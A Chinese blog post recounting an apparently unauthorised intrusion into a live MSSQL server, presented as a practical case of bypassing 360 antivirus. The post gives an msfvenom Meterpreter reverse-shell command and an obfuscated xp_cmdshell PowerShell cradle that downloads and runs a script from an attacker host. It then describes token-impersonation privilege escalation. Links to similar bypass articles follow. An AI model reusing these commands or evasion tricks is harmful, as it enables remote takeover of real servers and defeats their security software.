MSSQL绕过360提权实战案例

简介: MSSQL绕过360提权实战案例

0x01 前言

这个案例是帮“ChaBug”群里一个朋友看的,说是某QP站点,直接是个支持外链的MSSQL,但不是弱口令,SA密码是在以前的服务器上找到的,这台机器应该是刚搬迁过来的服务器,用了原来的SA密码,所以可以直接远程连接,并支持xp_cmdshell执行命令,未做站库分离处理!


0x02 搜集

目标机器基本信息:

    目标系统:Windows Server 2012 R2(Apache2.4.23 + PHP7.1.9)
    数据库版本:Microsoft SQL Server 2017 (RTM) - 14.0.1000.169 (X64)
    当前权限:nt service\mssqlserver
    开放端口:80、135、1433、2383、3306、3389、22222(Tomcat/8.5.42)......
    进程名称:phpStudy.exe、http.exe、httpd.exe、mysqld.exe、navicat.exe、androidLoad.exe、GameServer.exe(游戏服务端)、LogServer.exe(日志服务)、redis-cli.exe(redis客户端)、redis-server.exe(redis服务端)、Tomcat8.new.exe(Tomcat8.new服务)、Tomcat8.neww.exe、sqlservr.exe(MSSQL服务端)、ZhuDongFangYu.exe(360主动防御)......


    将目标机器的进程列表拿到开源的“Windows杀软在线对比辅助”上进行对比发现存在360主动防御的进程,当前权限为nt service\mssqlserver。

    0x03 实战提权过程

    根据他的描述说是项目站点放在C盘,但是在当前权限下不能用dir命令查看C盘下的文件,会提示“拒绝访问。只能查看D盘下的文件,经过测试发现确实如此,但他的思路局限于非得找到网站绝对路径,写入Webshell后再进行权限提升,其实大可不必这样。

    而我的思路就是直接利用MSF的web_delivery或hta_server模块来获取一个Meterpreter会话,然后再进行权限提升即可。但是在测试过程中也遇到一点小问题,web_delivery执行时出现“标识符太长”的报错,hta_server执行底层powershell.exe时被360的进程防护给拦截了。


    这里我们重新生成一个psh-reflection格式的Payload,然后用xp_cmdshell来执行经过混淆后的Powershell远程执行ps1脚本命令,可以看到已经成功获取到目标机器会话了,其实这也就是这篇文章中主要讲的利用Powershell命令混淆来绕过360进程防护拦截

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=39.**.**.238 LPORT=443 -f psh-reflection > /tmp/360.ps1

    exec master.dbo.xp_cmdshell "powershell $a='IEX((new-object net.webclient).downloadstring(''ht';$b='tp://39.**.**.238:8888/360.ps1''))';IEX ($a+$b)"


    获取到会话后可直接使用Incognito扩展来进行权限提升,因为目标机器上有在运行navicat.exe数据库连接工具,并以Windows身份验证的方式连接的MSSQL,所以会拥有高权限令牌


    注:通过前期的信息搜集得知里边还运行着phpStudy、Tomcat,它们默认都是以高权限运行的,所以也可以尝试找到绝对路径往里边写一个Webshell来进行权限提升,不过这个案例中禁止当前权限读取C盘下的文件,写入权限就更不用说了,这里仅为大家扩展这么一种提权思路。



    相关文章
    |
    安全 Linux 网络安全
    组网神器WireGuard安装与配置教程(超详细)
    组网神器WireGuard安装与配置教程(超详细)
    39691 2
    |
    SQL Shell 数据库
    MSSQL绕过微软杀毒提权案例
    MSSQL绕过微软杀毒提权案例
    566 0
    |
    开发框架 安全 .NET
    记一次绕过安全狗和360提权案例
    记一次绕过安全狗和360提权案例
    352 0
    thinkPhP6.0安装教程图解--PHP框架安装
    本文是一篇关于ThinkPHP 6.0安装教程的图解,包括环境检查、安装Composer、修改Composer镜像地址、安装ThinkPHP框架以及启动运行ThinkPHP的步骤。文章详细描述了每个步骤的操作方法,并提供了相应的命令和截图,帮助用户理解并顺利完成ThinkPHP 6.0的安装和运行。
    thinkPhP6.0安装教程图解--PHP框架安装
    |
    开发框架 安全 应用服务中间件
    【文件上传绕过】——解析漏洞_IIS7.0 | IIS7.5 | Nginx的解析漏洞
    【文件上传绕过】——解析漏洞_IIS7.0 | IIS7.5 | Nginx的解析漏洞
    815 9
    |
    安全 网络安全
    技巧!通过360卫士白名单绕过查杀
    技巧!通过360卫士白名单绕过查杀
    1603 0
    使用 Visual Studio 开发 CS 的 BOF
    使用 Visual Studio 开发 CS 的 BOF
    |
    SQL 存储 开发框架
    MSSQL弱口令绕过某数字上线
    MSSQL弱口令绕过某数字上线
    443 0
    |
    运维 关系型数据库 MySQL
    绕过360安全卫士提权实战案例
    绕过360安全卫士提权实战案例
    923 1
    |
    IDE 安全 PHP
    Xdebug+phpStorm安装与调试保姆级教程!『通俗易懂』
    Xdebug+phpStorm安装与调试的详细步骤
    1078 0
    Xdebug+phpStorm安装与调试保姆级教程!『通俗易懂』